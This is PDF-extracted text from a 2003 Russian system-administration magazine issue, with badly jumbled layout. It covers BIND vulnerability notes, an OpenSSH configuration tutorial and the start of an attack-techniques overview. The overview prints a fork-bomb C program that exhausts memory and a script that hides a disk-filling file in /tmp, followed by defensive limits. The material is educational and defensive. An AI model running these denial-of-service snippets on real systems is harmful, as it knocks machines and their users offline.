Уязвимости, описанные в этой статье, затрагивают боль-шинство рекурсивных DNS-серверов в Интернете. Успеш-ная эксплуатация уязвимости позволяет атакующему полу-чить полный контроль над уязвимой системой, а простотаее эксплуатации позволяет создавать быстро распростра-няющиеся сетевые черви. В этом случае уязвимость можетнегативно сказаться на работе всего Интернета в целом.

BIND SIG Cached RR Overflow VulnerabilityУязвимость, обнаруженная в механизме формирования

DNS-ответов, содержащих SIG resource records (RR) (кэши-руемая ресурсная запись), позволяет удаленному атакую-щему переполнить буфер и выполнить произвольный код.

BIND OPT DoSКлиент, запрашивающий DNS-поиск на несуществую-

щем поддомене правильного имени домена, может заве-сить BIND 8, добавляя OPT-запись с большим UDP-пакетом.

BIND SIG Expiry Time DoSНападающий, который управляет любым DNS-серве-

ром, может завесить BIND-сервер, заставляя его обратить-ся к кэшу SIG RR элементов с недопустимыми временамиистечения полномочий.

Уязвимость обнаружена в BIND 8 до версии 8.3.3,BIND 4 до версии 4.9.10.

ров, пытаясь получить ответы для каждого из запросов.В этом случае уязвимость может эксплуатироваться ата-

кующим, который посылает одновременно n запросов кDNS-серверу, используя различные IP-адреса источника ито же самое имя домена. DNS-сервер пошлет все получен-ные запросы другим DNS-серверам, чтобы разрешить их.В результате этот сервер будет ожидать n ответов с различ-ными идентификаторами для одного имени домена. Напа-дающий тогда посылает несколько ответов с различнымиидентификаторами на DNS-сервер адресата, пытаясь пред-положить один из ожидаемых идентификаторов ответа, темсамым применяя нападение DNS-имитации. Вероятностьуспеха DNS-имитации в BIND 4 и BIND 8 определяетсяуравнением: n-request-sent/65535, где n-request-sent – числозапросов, посланных одновременно DNS-серверу.

Уязвимость может использоваться для компромис-са приложений, использующих DNS службу (типа SMTP,HTTP, LDAP, FTP, SSH).

Уязвимость обнаружена в BIND 4.9.11, 8.2.7, 8.3.4.

bugtraq

27№1(2), январь 2003

Page 30: 002 Системный Администратор 01 2003

28

администрирование

Первая буква «s» означает безопас-ный (secure), то есть все данные, пе-редаваемые через ssh, шифруются, азначит, защищены от просмотра. Су-ществует несколько версий протоко-ла ssh, различающиеся используемы-ми алгоритмами шифрования и общи-ми схемами работы. В настоящее вре-мя повсеместно используется прото-кол ssh версии 2. Протокол младшихверсий является по современныммеркам небезопасным (там есть не-сколько очень опасных дыр). Вообще-то сейчас ssh является коммерческимпродуктом (что само по себе проти-воречит требованиям безопасности –

всем должен быть известен исходныйкод системы защиты информации,чтобы убедиться в отсутствии всякихbackdoors), но тем не менее дос-тупна свободная реализация ssh –OpenSSH, которая может быть найде-на на www.openssh.com. Наилучшимдокументом по ssh является, по-мое-му, банальный man ssh, поэтому в не-которых местах я не постесняюсь егопросто переводить.

Итак, начнём, как обычно, с тео-рии. SSH предоставляет 3 способааутентификации клиента: по ip-адре-су клиента (небезопасно), по публич-ному ключу клиента и стандартный

парольный метод. Вот как работаетssh версии 2: при запросе клиентасервер сообщает ему, какие методыаутентификации он поддерживает(это определяется в опции PreferredAuthentications sshd.conf), и клиент поочереди пытается проверить их. Поумолчанию клиент вначале пытаетсяаутентифицироваться своим адресом,затем публичным ключом и, если ни-чего не сработало, передаёт пароль,введённый с клавиатуры (при этомпароль шифруется асимметрическимшифрованием). После прохожденияаутентификации одним из методов изимеющихся у клиента и сервера пар

Когда стали широко использоваться алгоритмы шифрования при передаче данных в сети, одной изпервых возникла задача организации безопасной оболочки. До этого существовала система rsh,которая позволяла определённым пользователям с определённых машин (между ними должны былибыть доверительные отношения) работать на сервере с его оболочкой. Это практически то же са-мое, что и telnet-доступ. Но с развитием сетей стали видны вопиющие дыры rsh: данные, передава-емые через сеть, никак не шифруются, включая пароли; они, могут быть без проблем полученылибо модифицированы третьей стороной; злоумышленник может спокойно подменить ip клиента и,используя полученный ранее хеш пароля, пройти аутентификацию на сервере со всеми вытекаю-щими последствиями. Поэтому сейчас rsh применяется в чрезвычайно редких случаях, например,при переносе данных между двумя попарно соединёнными машинами (мне так пришлось работать сдвумя машинами в разных комнатах). В основном стандартом де-факто стал ssh.

ВСЕВОЛОД СТАХОВ

Ы.Ы.Р.Ы.Ы.Р.

Page 31: 002 Системный Администратор 01 2003

29№1(2), январь 2003

администрирование

ключей генерируется ключ симметри-ческого шифрования, который, как яописывал ранее (см. статью «Теорияи практика OpenSSL»), генерируетсяна основании своих секретного и уда-лённого публичного ключей. Послечего все последующие данные, пере-даваемые через ssh, шифруются дан-ным ключом (обычно используется ал-горитм aes с длиной ключа 128 бит).Отмечу, что протокол ssh версии 1имел некоторые баги в шифрации пе-редаваемого трафика и являлся, посути, методом безопасной аутентифи-кации, поэтому по современным мер-кам данный протокол считается небе-зопасным. Протокол версии 2 поддер-живает более современные методышифрования трафика, также вместес данными посылаются контрольныесуммы формата sha или md5, что ис-ключает подмену или иную модифи-кацию передаваемого трафика (чегоне было у ssh версии 1).

Теперь пару слов о способах аутен-тификации пользователей через ssh.

По адресу клиентаПри данном способе аутентификациипроисходит следующее: каждый кли-ент и сервер имеют свои пары ключейRSA, которые называются ключамихоста. При этом существует несколь-ко методов проверки адреса клиента.Сервер смотрит файлы $HOME/.rhosts,$HOME/.shosts, /etc/hosts.equiv или/etc/ssh/shosts.equiv, если же сервернастроен на проверку ключей клиен-тов (а это нужно в соображениях бе-зопасности, т.к. иначе злоумышленникможет подменить ip-клиента на свой),то он дополнительно проверяет /etc/ssh/ssh_known_hosts и $HOME/.ssh/known_hosts. Естественно, что файлы,расположенные в домашних каталогахсервера, действуют на пользователя,в чьём каталоге они размещены, афайлы, расположенные в /etc, имеютглобальный эффект. Для начала рас-скажу о синтаксисе вышеперечислен-ных файлов:! .rhosts – определяет адрес маши-

ны и имя пользователя, с которойданному пользователю открыт до-ступ (файл расположен в домаш-нем каталоге пользователя);

! .shosts – аналогичен .rhosts, нопредназначен исключительно дляssh, поэтому использовать лучше

именно данный файл. Пример.shhosts:

! /etc/hosts.equiv – также содержитпары имя машины/имя пользова-теля, но имеет эффект на всехпользователей;

! /etc/shosts.equiv – аналог hosts.equiv, но применяется только ssh,что также более предпочтитель-но. Пример файла:

Знак «+» означает разрешениепользователю работать с сервером сданного адреса, знак «-» запрещаетподобное действие.

– данные файлы содержат список ад-ресов и соответствующих им публич-ных ключей. При запросе клиентасервер генерирует рандомную стро-ку и шифрует её публичным ключомудалённого хоста. Клиент, получивданную строку, расшифровывает еёсвоим секретным ключом (которыйимеется только у него) и зашифровы-вает полученную строку ключом сер-вера. Сервер получает зашифрован-ное сообщение, расшифровываетсвоим секретным ключом и сравни-вает с исходной. Если строки совпа-ли, то клиент имеет валидный секрет-ный ключ, что даёт ему право заходана данный сервер. Но для начала кли-ент должен иметь правильный адрес,которому соответствует публичныйключ на сервере в файлеssh_known_hosts. Файл состоит из3-х полей: адрес (или адреса, разде-лённые запятой), публичный ключ длянего одной (!) строкой и дополнитель-ное поле комментариев (необязатель-но). Пример файла known_hosts:

Адрес клиента должен быть в пол-ном формате (name.domain), иначемогут быть проблемы. Кроме этого,в адресе можно использовать шабло-ны «*» и «?». Публичные ключи встав-ляются в данный файл самим адми-нистратором из генерированных кли-

ентом ssh (identity.pub) публичныхключей. Вообще созданиеssh_known_hosts – это прерогативаадминистратора (aka root).

И ещё добавлю: при аутентифика-ции по хосту лучше использоватьssh_known_hosts, т.к. этот метод дос-таточно безопасен, если публичныеключи клиентов были получены издоверенного источника. Другие мето-ды аутентификации не исключаютподмену адреса, и потому считаютсянебезопасными.

Аутентификация пользователяпо его публичному ключуАутентификация удалённого пользо-вателя по ключу идентична проверкеключа хоста (с посылкой рандомнойстроки) за тем исключением, что про-веряется не адрес клиентской маши-ны, а ключ клиента и имя пользовате-ля. Данному пользователю на серве-ре может соответствовать его пуб-личный ключ, тогда клиент, имея сек-ретный ключ, сможет заходить на сер-вер без пароля. Механизм работы ятолько что описал, поэтому сразу жерасскажу, каким образом аутентифи-цировать пользователей по ключу(предполагается, что используетсяклиент и сервер openssh).

Для генерации пары ключей ис-пользуйте программу ssh-keygen. Дляуказания типа ключа укажите ssh-keygen -t {RSA DSA}, например, ssh-keygen -t rsa создаст пару ключей RSAдлиной 1024 бита. Для указания фай-ла, в котором следует сохранить клю-чи, можно использовать опцию -f (тра-диционно используются файлы$HOME/.ssh/id_rsa и $HOME/.ssh/id_dsa для ключей rsa и dsa соответ-ственно), для указания длины ключав битах используйте опцию:

В результате работы программазапросит ввод пароля для шифрова-ния секретного ключа, чтобы исклю-чить использование его при попада-нии к посторонним лицам, не знаю-щим пароля (пароль желательно вы-бирать не короче 10-и символов). Пос-ле этого вам будет необходимо вво-дить данный пароль каждый раз прииспользовании секретного ключа (да-лее я расскажу, как избежать этого

* /etc/ssh/ssh_known_hosts и $HOME/.ssh/known_hosts

user1.test.ru {SOME_VERY_LONG_PUBLIC_KEY}

-b: ssh-keygen -t rsa -b 2048 -f$HOME/.ssh/id_rsa

user1.test.ru user1 userstend.test.ruuser1 null.test.ru user1

/etc/shhosts.equiv + user1.test.ruuser1 � server.test.ru xakep

Page 32: 002 Системный Администратор 01 2003

30

администрирование

при помощи программы ssh-agent).После работы ssh-keygen создаётсяпара ключей: один секретный (зашиф-рованный введённым паролем), а дру-гой – публичный с расширением .pub(id_rsa.pub). Публичный ключ вам не-обходимо будет скопировать в домаш-нюю директорию сервера $HOME/.ssh/authorized_keys. После этого сер-вер будет знать ключ данного пользо-вателя и сможет аутентифицироватьвас без пароля. Файл authorized_keysможет содержать несколько публич-ных ключей, допустимых для данногопользователя: просто поместите их вданный файл по порядку. После этихопераций вы сможете входить, имеясекретный ключ, на сервер, где разме-щён ваш публичный ключ, причём подтем пользователем, в чьём домашнемкаталоге данный ключ находится. Па-роля удалённого пользователя не тре-буется, необходимо только знать па-роль расшифровки секретного ключа.Для переноса своего публичного клю-ча на сервер надо использовать толь-ко безопасные источники, иначе вашключ могут подменить. Для переносапубличного ключа клиента служитпрограмма ssh-copy-id. Для начала не-обходимо сделать следующее:

После соединения с серверомmachine и передачей имени пользова-теля user (необходимо указывать,если удалённое имя отличается от ло-кального) происходит парольнаяаутентификация заданного пользова-теля (или текущего) на удалённоймашине, затем происходит копирова-ние ключа public_key_file (или $HOME/.ssh/identity.pub, если имя файла неуказано) на сервер в $HOME/.ssh/authorized_keys. После этого можновходить на сервер, не используя па-роль пользователя. При выполненииданной операции учтите, что вы долж-ны скопировать на удалённую машинуПУБЛИЧНЫЙ ключ, иначе всё будеточень печально (думаю, ясно почему).

Обычная парольнаяаутентификацияТут можно отметить только одно: влюбом случае вначале идёт обменасимметрическими ключами, и хешпароля передаётся в зашифрован-

ном виде. Парольная аутентифика-ция используется наиболее часто,но, честно говоря, ssh предлагаетболее удобные методы аутентифи-кации, и пользоваться ими можно,если к ssh есть все заплатки. И, ко-нечно же, протокол версии 1 необ-ходимо вырубить вообще. Итак, на-чинаем настройку...

Я заметил, что большинство ад-министраторов просто оставляютконфиги клиента и сервера по умол-чанию, чтобы руки не марать. Но этонеправильно: в разных системах этиконфиги различаются очень суще-ственно, и это приводит к неразбе-рихе и непониманию работы серве-ра, что создаёт дополнительную уг-розу безопасности (свой сервак –потёмки). Для этого я решил описатьфайлы конфигурации ssh на приме-рах ssh_config и sshd.conf для кли-ента и сервера соответственно. Дляконфигурации клиента использует-ся файл $HOME/.ssh/config или /etc/ssh/ssh_config (для всей системы).Файл имеет следующий формат: оп-ределение адреса хоста и парамет-ры для него. В адресе можно исполь-зовать обычные шаблоны «*» и «?»,все имена параметров и их значе-ния должны быть набраны в том жерегистре, что и в примере (иначе па-раметр воспринят не будет). Вотпример ssh_config, который содер-жит наиболее полезные опции (насамом деле описывать некоторыепараметры конфигурации ssh неимеет смысла, т.к. употребляютсяони очень редко):

# ssh-copy-id -i public_key_fileuser@machine

# Определение хоста, в данном случаевключает все хосты домена test.ru, мож-но использовать одиночный символ «*» что-бы указать параметры доступа к любомухостуHost *.test.ru

# Эта опция определяет, будет ли sshиспользовать передачу данных от удалён-ного X сервера через свой безопасныйканал. Далее будет описано, каким обра-зом организуются безопасные туннели че-рез ssh. Данная возможность позволяетзащищать по идее небезопасныепротоколы(X, pop, smtp, ftp) шифровани-ем ssh. По умолчанию данная опция � noForwardX11 yes

# Список предпочтительных методов аутен-тификации через ssh версии 2. Первымстоит самый предпочтительный протокол,думаю, значения данного параметра ясныPreferredAuthentications hostbased,publickey,keyboard-interactive

# Этот параметр определяет, будет липроизводится стандартная парольная про-

верка. По умолчанию � yes.PasswordAuthentication yes

# Число попыток ввода пароля перед тем,как клиент отсоединяется от сервера. Поумолчанию пароль можно вводить триждыNumberOfPasswordPrompts 3

# Список допустимых пользователей дляданного сервера. Можно применять два фор-мата: список пользователей, разделён-ных пробелом, и список пользователей ихостов, разделённых пробелом (USER@HOST- разрешает данному пользователю доступтолько с данного адреса). Можно исполь-зовать выражения «*» и «?». Подобное женазначение имеют опции AllowGroups,DenyUsers и DenyGroups(для групп нельзяуказывать адрес клиента)AllowUsers *@*.test.ru DenyUsers xakeplamer DenyGroups x*

# Использование ssh(2 версия) аутенти-фикации через rhosts и RSA ключи. Поумолчанию � noHostbasedAuthentication yes

# Будет ли клиент пытаться работать поrsh, если ssh недоступен или по каким-то причинам работает неправильно. Поумолчанию � noFallBackToRsh no

# Используем ли rsh. По умолчанию � noUseRsh no

# Режим скрипта, когда не спрашиваютсяпароли с терминала. По умолчанию � noBatchMode no

# Дополнительно проверяется ключ хостаудалённой машины в known_hosts, что ис-ключает подмену ip. По умолчанию � yesCheckHostIP yes

# Данный параметр означает, будет ликлиент доверять полученным от серверовключам. Параметр может принимать следу-ющие значения: yes - ключи никогда ав-томатически не помещаются в known_hosts,ask - ключ может быть помещён вknown_hosts только после подтвержденияпользователя, no - все ключи автомати-чески размещаются в known_hosts (небе-зопасно). По умолчанию � askStrictHostKeyChecking ask

# Следующие параметры определяют сек-ретные ключи ssh различных форматов:rsa и dsaIdentityFile $HOME/.ssh/id_rsaIdentityFile $HOME/.ssh/id_dsa

# Порт, на удалённой машине используе-мый ssh. По умолчанию 22 Port 22Версии протоколов, используемые клиен-том в порядке убывания приоритетаProtocol 2

# Протокол шифрования для версии 1 про-токола sshCipher 3des

# Возможные протоколы шифрования в по-рядке убывания приоритета для протоколаверсии 2Ciphers aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour,aes192-cbc,aes256-cbc

# Значение escape-символа, сигнализи-рующего, что идущие за ним символынеобходимо воспринимать специальным об-разом (например ~. вызовет немедленноеотключение клиента от сервера) при пе-редаче двоичных данных необходимо уста-новить этот параметр в none, что выклю-

Page 33: 002 Системный Администратор 01 2003

31№1(2), январь 2003

администрирование

Я думаю, что в данном примеревсё объяснено достаточно подробнои скажу только вот что: в большинствеслучаев опции по умолчанию работа-ют неплохо, необходимо только от-ключить поддержку ssh версии 1 инастроить необходимые методыаутентификации (кроме парольной)и указать пути доступа к ключам. Наэтом закончим с настройкой клиен-та и настроим сервер. Файл конфи-гурации сервера sshd находится в/etc/ssh/sshd_config, и многие его па-раметры совпадают с аналогичнымив ssh_config, но здесь нет определе-ний хостов, как это было вssh_config. Я всё же приведу примерsshd_config, чтобы далее не возни-кало вопросов:

Ну вот, вроде бы всё настроено!Теперь я бы хотел поговорить о не-которых фичах, работающих в ssh.Но с начала несколько слов о тунне-лях. SSH имеет встроенную возмож-ность передавать данные с локаль-ного порта на удалённый, используясетевой туннель, причём данные, пе-редаваемые через туннель, будутшифроваться. То есть происходитаутентификация на удалённой систе-ме, а затем начинается перенаправ-ление трафика через туннель. Такимобразом, можно перенаправлять лю-бой трафик, а протокол иксов можетработать в интерактивном режиме,

чает escape последовательности. По умол-чанию ~EscapeChar ~

# Управление работой компрессии зашиф-рованнного трафика. Полезный параметрдля медленных сетей, т.к. зашифрованныеданные обычно увеличиваются в размереза счёт фиксированной длины ключа. Ком-прессия позволяет уменьшить количестводанных, передаваемых через сеть, но уве-личит время работы самого протокола. Такчто включать этот параметр желательнона медленных соединениях. По умолчанию� noCompression yes

# Управляет посылкой сообщений о дос-тупности клиента серверу, что позволяетнормально разорвать соединение, если про-изошла неполадка в сети или иная, при-ведшая к разрыву соединения. Если связьплохая, то лучше эту опцию отключить,чтобы дисконнект не происходил послекаждой ошибки сети. По умолчанию � yesKeepAlive yes

# Номер порта и версия протоколаPort 22 Protocol 2

# Адреса, на которых слушает сервер,можно также указывать порт(server.test.ru:2022), но назначение sshнестандартного порта нецелесообразно,т.к. заинтересует потенциальных взлом-щиков («А чего это там они прячут?»)ListenAddress server.test.ru

# Ключ сервера для протокола версии 1HostKey /etc/ssh/ssh_host_key

# Ключи rsa и dsa для ssh версии 2 HostKey /etc/ssh/ssh_host_rsa_key

HostKey /etc/ssh/ssh_host_dsa_key

# Данные значения определяют длинуключа сервера и его время жизни для ис-пользования ssh версии 1 (данный ключбудет заново генерироваться через за-данное время)

KeyRegenerationInterval 3600ServerKeyBits 768

# Далее определяем методы аутентифи-кации для данного сервера и её парамет-ры.

# Сервер отсоединяется по происше-ствии данного времени в секундах, есликлиент не проходит аутентификацию

LoginGraceTime 600

# Разрешаем заходить по ssh руту. Дол-гое время эта тема обсуждалась на фору-ме, но я думаю всё же, что со внутреннейсети рут может заходить и по ssh (дляэтого надо настроить должным образомiptables). Также можно запретить рутувходить по паролю: without-password, раз-решая вход только по публичному ключу

PermitRootLogin yes

#Проверка sshd прав доступа и вла-дельцев домашних каталогов. Полезно длятех пользователей, что дают права всему0777. Хотя таких болванов лучше держатьна расстоянии от сервера (лучше всегоэто делать бревном, подвешенным в сер-верной к потолку, чтобы придать неже-ланному гостю должное ускорение, и незабудьте оббить конец бревна какой-ни-будь железкой, иначе брёвна придётсяменять лишком часто)

StrictModes yes

# Аутентификация через RSA (версия 1) RSAAuthentication yes

# Аутентификация пользователя по ключу(версия 2)

PubkeyAuthentication yes

# Определяет публичный ключ пользо-вателя для аутентификации по ключу. Можноприменять шаблоны: %u � имя пользовате-ля, %h � домашний каталог пользователя

AuthorizedKeysFile .ssh/authorized_keys

# Не используем аутентификацию rhostsRhostsAuthentication no

# Можно также игнорировать rhosts иshosts при hostbased autentification,используя только known_hosts файлIgnoreRhosts yes

# Используем ли аутентификацию черезknown_hosts совместно с .rhosts или.shosts. Опция действительна только дляпротокола версии 1

RhostsRSAAuthentication no

# То же самое, что и предыдущее толь-ко для версии 2

HostbasedAuthentication yes

# Если нет доверия к known_hosts, тоих можно не использовать при hostbasedautentification. По умолчанию � noIgnoreUserKnownHosts no

# Чтобы запретить посылку хешей паро-лей через туннель ssh задайте значениеданной опции no. По умолчанию аутенти-фикация по паролю разрешенаPasswordAuthentication yes

# Можно также разрешить пустые паро-ли, но это полный отстой, т.к. это ог-ромная дыра на сервере, через которуюможно наделать много гадостей! Поэтомудолжно быть � no (по умолчанию)PermitEmptyPasswords no

# Аутентификация через механизм PAMPAMAuthenticationViaKbdInt no

# Передача протокола иксов через тун-нель ssh

X11Forwarding yes

# Используем в качестве x-сервера дан-ный, т.е. клиент, запуская у себя x-

клиента будет фактически использоватьнаш сервер, но все данные от сервера кклиенту будут шифроваться, что есть хо-рошо!

X11UseLocalhost yes

# При логине пользователя выводим /etc/motd: в некоторых системах это от-менено в целях безопасности

PrintMotd yes

# Сообщаем пользователю время и местопоследнего логина, ситуация, аналогич-ная предыдущей

PrintLastLog yes

# Посылать клиенту сообщения о дос-тупности

KeepAlive yes

# Максимальное число возможных со-единений, где не произошло аутентифика-ции. Если клиентов, не прошедших аутен-тификацию больше, то новые соединенияне будут обрабатываться

MaxStartups 10

# Путь к файлу, который будет отобра-жаться при входе клиента ДО аутентифи-кации

Banner /etc/ssh_message

# Проверка соответствия ip-адреса кли-ента и его символического имени вbackzone, затем снова сравнение имени сip адресом. Таким образом (извращённым)проверяется подлинность ip, но метод этотдостаточно тормозной и по умолчанию онотключен

VerifyReverseMapping no

# Новые системы, работающие через ssh.В данном примере определяется «безопас-ный» ftp сервер � sftp, аналогичный до-ступ пользователя, но с возможностьюпередачи файлов (т.е. пользователь по-лучает доступ ко всем своим файлам инет возможности настройки разрешений ивиртуальных пользователей, как, напри-мер в proftpd). По сути дела, подсистемыssh могут обеспечивать прохождение дру-гих протоколов по сети, но под «крылыш-ком» ssh. Например, для sftp-сервера естьодноимённый sftp-клиент. Его интерфейсполностью идентичен оригинальному ftp,но с одним отличием: происходит та жесамая аутентификация пользователя на уда-лённом сервере (методами ssh), но вместооболочки с пользователем взаимодейству-ет подсистема, в данном случае

sftp. Subsystem sftp /usr/lib/ssh/sftp-server

Page 34: 002 Системный Администратор 01 2003

32

администрирование

для этого необходимо включить со-ответствующие опции в файлах кон-фигурации сервера и клиента (этобыло описано ранее). Для других жепортов необходимо вызывать ssh спараметром:

Такой туннель довольно быстроумирает, т.к. сервер автоматическиубивает «ленивых» клиентов. Поэто-му можно применить метод, которыйпозволяет устанавливать произволь-ное время удержания туннеля – вы-полнить sleep на удалённом сервере:

Данная команда держит туннель100 секунд, чего достаточно для лю-бого соединения. И ещё одна вещь:когда по туннелю передаются данные,то он не уничтожается, что хорошо дляреализации безопасного ftp smtp иpop3 протоколов (впрочем, sftp-сер-вер имеется уже и в поставке openssh,применение его не должно вызватьзатруднений sftp [user@]hostname, т.к.фактически это особая реализацияssh протокола и механизм работы sftpабсолютно идентичен механизму ssh).Чтобы отключить перенаправлениепортов, необходимо установить опциюsshd AllowTcpForwarding в no. Исполь-зование длительной задержки sshтуннеля несколько уменьшает безо-пасность, т.к. во время ожидания зло-умышленник имеет больше шансов наатаку (но механизм ssh версии 2 по-зволяет избежать подобной ситуацииподписыванием передаваемых сооб-щений).

Вот что сделал бы я для безопас-ного ssh. Для начала создал бы rsaключ длиной 4096 бит:

Затем скопировал бы данный ключс помощью дискеты или ssh-copy-id наудалённый сервер(а):

После этого запретил бы па-рольную и всякую hostbased аутенти-фикацию в sshd_config:

И отключим потокол версии 1 (поумолчанию – Protocol 2,1 и сервер па-дает к ssh 1, при неудаче – ssh 2):

Ну вот теперь, чтобы зайти на сер-вак по ssh надо ввести нехилый (а ондолжен быть нехилый!) пароль секрет-ного ключа. Немножко неудобно, неправда ли? Можно хранить пароль длясекретного ключа в памяти на протя-жении работы некоторой программы(например, bash) и при запросе егоssh клиентом доставать из памяти.Для этой цели служит программа ssh-agent (агент аутентификации ssh).Агент запускает необходимую про-грамму и ждёт добавления новых сек-ретных ключей (ssh-agent хранит рас-шифрованные секретные ключи). Дляэтой цели есть другая программа ssh-add, которая добавляет в агент клю-чи $HOME/.ssh/id_rsa, id_dsa, identity.Если необходимо добавить другиеключи, то надо запустить ssh-add сименем файла: ssh-add filename. Уч-тите, что при добавлении ключа вагент ssh-add вам всё равно необхо-димо ввести пароль для его расшиф-ровки, но пока агент находится в па-мяти (пока вызванная им программане завершилась), вводить пароль сек-ретного ключа не надо: ключ берётсяиз ssh-agent. Причём контакт с ssh-agent может устанавливать толькопрограмма, запущенная им (и все еёдочерние процессы), т.к. устанавли-ваются переменные окружения.Обычный метод запуска ssh-agent:

После завершения работы оболоч-ки ssh-agent завершается, а ключиудаляются из памяти.

Ну и наконец, можно разрешитьдоступ определённых пользователейс определённых машин. Это делает-ся полем AllowUsers в sshd_config или

правилами iptables. Думаю, этого до-статочно для нормальной и безопас-ной работы на удалённом серверечерез ssh. Особо мнительные могутзапретить доступ рута по ssh(PermitRootLogin no) и делегироватьчасть его прав с помощью sudo. Ну ииспользовать протокол версии 2 (та-кие плюсы, как алгоритм вычислениясимметрического ключа на основаниипары асимметрических и подписыва-ние сообщений, передаваемых посети, а также 2 версия протокола sshбыстрее первой). Существует множе-ство клиентов ssh, работающих наразных ОС:

Windows:! putty: http://www.chiark.greenend.org.uk/

~sgtatham/putty.html! raju: ftp://ftp.franken.de/pub/win32/ develop/gnuwin32/cygwin32/ porters/mathur_raju! cigaly: http://www.doc.ic.ac.uk/~ci2/ssh/! f-secure: http://www.datafellows.com/f-secure/

fclintp.htm! secure crt: http://www.vandyke.com/

products/securecrt/! ttssh: http://www.zip.com.au/ ~roca/ttssh.html! therapy: http://guardian.htu.tuwien.ac.at/ therapy/ssh/! chaffee: http://bmrc.berkeley.edu/ people/chaffee/winntutil.html! sergey okhapkin: http://www.lexa.ru/sos/! fissh: http://www.massconfusion.com/ssh/

Mac:! niftytelnet+ssh: http://www.lysator.liu.se/ ~jonasw/freeware.html! f-secure: http://www.datafellows.com/f-secure/

fclintp.htm

Хороший список ссылок по ssh на-ходится на www.heimhardt.com, полез-ным мне показался также сайтwww.openssh.com, ну и есть докумен-тация по ssh (правда версии 1) на сай-те www.opennet.ru.

# ssh-keygen -t rsa -b 4096

# ssh-copy-id -i $HOME/.ssh/id_rsaremote_host

IgnoreHosts yesRhostsAuthentication noRhostsRSAAuthentication noRSAAuthentication yesHostbasedAutentification noPasswordAuthentication noPermitEmptyPasswords noUseLogin no

PermitRootLogin without-password

Protocol 2

# ssh-agent bash # ssh-add Enterpassphrase for �.ssh/id_rsa�: Enterpassphrase for �.ssh/id_dsa�: .ssh/identity : No such file or directory

- L{LOCAL_PORT}:{LOCAL_ADDRESS}:{REMOTE_PORT}:# ssh -L10101:localhost:101server.test.ru

# ssh -f -L10101:loclahost:101 server.test.ru sleep 100

Page 35: 002 Системный Администратор 01 2003

БЕЗОПАСНОСТЬ

Page 36: 002 Системный Администратор 01 2003

34

В принципе для всех систем суще-ствуют некие общие уязвимости.Здесь я попытаюсь осветить наиболеечасто используемые техники атак изащиты от них. Основная классифи-кация уязвимостей с оценкой важно-сти может выглядеть так:

Относительность здесь вполнеобъяснима – ведь результат же всёравно будет налицо – машина вый-дет из строя или будет не в состоя-нии обслуживать пользователей ка-кое-то время. Однако перейдём кконкретике.

Local D.o.S. attackD.o.S.-атаки (Denial of Access – от-каз в доступе) могут быть популяр-ны, потому что особых навыков нетребуют. Здесь используется грубаясила, да и только. Из локальных ме-тодов здесь можно выделить исчер-пание ресурсов памяти и процессо-ра и/или места на диске.

Первый метод реализации D.o.S.-атаки (исчерпывание ресурсов памя-ти) может выглядеть так (примерыприведены для *nix систем):

В данном случае надо отдаватьсебе отчёт, что машина перестанетподавать какие-либо признаки жиз-ни очень быстро, и единственным ме-тодом вывести её из забытия будетдаже не волшебная комбинация изтрёх пальцев (Ctrl+Alt+Del), а толькомаленький «апдейт» к ней – Reset, совсеми вытекающими последствиями.

Второй метод – это забиваниедискового пространства. Результа-том может быть невозможность нор-мального функционирования систе-мы и, что наиболее интересно в этойситуации – все попытки syslogd (илиеё аналога в Windows NT-based) за-писать лог будут неудачными… Излокальных реализаций такого мето-да самым простым (по необходимымнавыкам программирования) будетсочетание языков Си и shell:

Здесь есть маленькая хитрость –стандартный вывод пойдёт в файл сименем “. “ (то есть «точка пробел»),а потому в листинге, получаемом ко-мандой “ls” будет не очень заметен(даже при добавлении опции “ -a”).

Избавиться от таких проблем мож-но относительно легко – установлени-ем ограничений на ресурсы, отводи-мые каждому конкретному пользова-телю (или группе пользователей) иорганизацией ОС ещё на этапе ин-сталляции. Итак, по порядку это бу-дет выглядеть следующим образом:

Защищая процессор/процессоры,память и дисковое пространство оттаких глупых программ, устанавлива-ется лимит ресурсов, выделяемыхпользователю. Неплохо бы не пере-борщить, иначе будет невозможнодаже vi запустить… Лучше всего по-работать от лица конкретного пользо-вателя, посмотреть сколько ему мо-жет потребоваться ресурсов.

Защищая всю систему как рабо-тоспособный организм от послед-ствий заполнения диска, необходимобыло ещё на уровне инсталляции си-стемы некоторые каталоги поместитьв отдельные разделы (первыми пре-тендентами туда идут /tmp, /var, /home),

Листинг программы LocalDoS.c:

#include <stdio.h>main ()

Листинг программы Echo.c :

#include <stdio.h>void main(){while (1)

{while(1) /*Бесконечный цикл*/{malloc(10000);/*Из помощи man: calloc, malloc, free,

realloc � Allocate and free dinamicmemory � занимаем определённый объём па-мяти*/

fork();/*Оттуда же: fork � create a child

process � и создаём много дочерних про-цессов (порождёных процессом-родите-лем)*/

}}

printf («X»); /*Печатаем символ �X�*/}

Листинг disk_DoS.sh :#!/bin/sh

./echo > /tmp/.

ОБЩИЙ ОБЗОРнаиболее часто применяемых техниккомпьютерных атак и защиты от них

АЛЕКСАНДР ПОТЁМКИН

ОБЩИЙ ОБЗОРнаиболее часто применяемых техниккомпьютерных атак и защиты от них

Page 37: 002 Системный Администратор 01 2003

35№1(2), январь 2003

безопасность

таким образом можно и работоспо-собность системы сохранить при за-полнении этих разделов, и поставитьразные полезные опции командеmount, например, запретить siud-ныепрограммы… Откуда им взяться упростых пользователей или во вре-менном каталоге…? Однако такимобразом система не застрахована отневозможности вести лог. Здесь мо-жет помочь только ежечасное cron-задание в виде, скажем, shell-скрип-та, который будет искать файлы оп-ределённого размера в наших отдель-ных разделах, и в случае нахожденияих архивировать и помещать в ката-лог /root. Здесь стоит позаботиться отом, чтобы это задание (равно как ивсе другие – хуже от этого не будет)не было читаемо для всех, иначе мож-но обойти нашу политику разбиенияна разделы. Это может быть реали-зовано с помощью утилит “find”,“xargs” и “gzip”.

Remote D.o.S. attackС локальными D.o.S.-атаками разоб-рались. Теперь перейдём к атакамудалённым, основная задача всё таже – вывести машину из строя на ка-кой-то период времени, когда доступк машине есть только удалённый. Воз-действовать остаётся только на те де-моны/сервисы, которые «вывешены»для доступа. Такого вида атаки мож-но условно разделить на два типа –атака посредством большого количе-ства запросов и атака, реализующаядыру в программном обеспечении.

Для реализации первой атаки нетребуется практически никаких осо-бенных знаний, только большая про-пускная способность линии, по кото-рой происходит доступ к данной сети.Суть наиболее распространённой вэтом виде атак заключается в приме-нении принципов реализации TCP/IP-протокола. Здесь для реализации ата-ки интересна начальная стадия уста-новки соединения между двумя маши-нами.

